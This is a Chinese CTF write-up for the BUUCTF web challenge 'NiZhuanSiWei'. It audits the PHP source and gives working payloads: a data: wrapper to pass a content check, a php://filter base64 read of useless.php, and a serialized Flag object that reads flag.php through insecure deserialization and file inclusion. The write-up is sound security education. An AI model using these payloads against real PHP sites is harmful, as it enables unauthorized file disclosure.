• buuctf-web NiZhuanSiWei 1


    当我们打开环境的时候看到的是一段很长的代码

     1 <?php  
     2 $text = $_GET["text"];
     3 $file = $_GET["file"];
     4 $password = $_GET["password"];
    //判断变量是否存在并且是否写入了welcome to the zjctf,
    若是为真,则输出写入的结果
    5 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 6 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 7 if(preg_match("/flag/",$file)){//查看是file是否存在着flag,如果有的话输出NOt now 然后退出,其实就是先不让你看flag的。 8 echo "Not now!"; 9 exit(); 10 }else{////文件包含,已经提示要我们查看userless.php 11 include($file); //useless.php 12 $password = unserialize($password);//反序列化$password 13 echo $password; 14 } 15 } 16 else{ 17 highlight_file(__FILE__); 18 } 19 ?>

    首先先进行代码审计,这里已经分析出各个代码段的功能了

    然后我们先了解一些其他的知识:

    1.data协议

    php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

    data伪协议只有在php<5.3且include=on时可以写木马。

    用法:data://text/pain;

              data://text/pain;base64;,xxxx(base64编码后的数据)

    2.file协议

    file://用于访问本地文件系统,在CTF当中通常用来读取本地文件且不受allow_url_fopen与allow_url_include的影响,

    用法:file:// [文件的绝对路径和文件名]

    3.php://filter协议

    php://filter协议是php里独有的协议,可以作为一个中间流来处理其他流,可以用来读取数据,使用不同的参数会达到不同的目的和不同的效果。

    现在我们来构造一下Pyload,一步一步来吧,利用第一个if条件来构造pyload,利用data:伪协议:

    ?text=data:text/plain,welcome to the zjctf

     然后下一步,第二个if那儿,它不让我们看flag,而后面包含着一个unless.php。那我们直接访问它,然后将里面的数据给读取出来

    好,构造pyload:

    ?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

    读取的数据加密成了base64,那我们需要解密一下

    <?php  
    
    class Flag{  //flag.php (题目源码注释) 
        public $file;    
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file);    //输出文件内容,通过这个函数读取flag
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  

    最后我们需要反序列化password:

    <?php  
    
    class Flag{  //flag.php  
        public $file='flag.php';  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    $a=new Flag();
    echo serialize($a);
    
    ?>  

    利用这个脚本跑一下,反序列化一下这个类,得的结果为:

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

    然后最终的pyload为:

    ?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

     网页出现些这玩意儿,然后flag就在源代码里。

  • 相关阅读:
    【JZOJ3347】树的难题
    【JZOJ3379】查询
    【JZOJ3337】wyl8899的TLE
    【JZOJ3318】Brunhilda的生日
    【JZOJ3319】雪地踪迹
    2018暑假集训——待做且可尝试去做的题
    2018暑假集训专题小结 Part.2
    2018.07.13【省赛模拟】模拟B组 【GDOI2016模拟】作业分配
    2018暑假集训专题小结 Part.1
    2018.07.12【2018提高组】模拟B组 【NOIP2015模拟10.27】魔法阵
  • 原文地址:https://www.cnblogs.com/awsole/p/13822176.html
Copyright © 2020-2023  润新知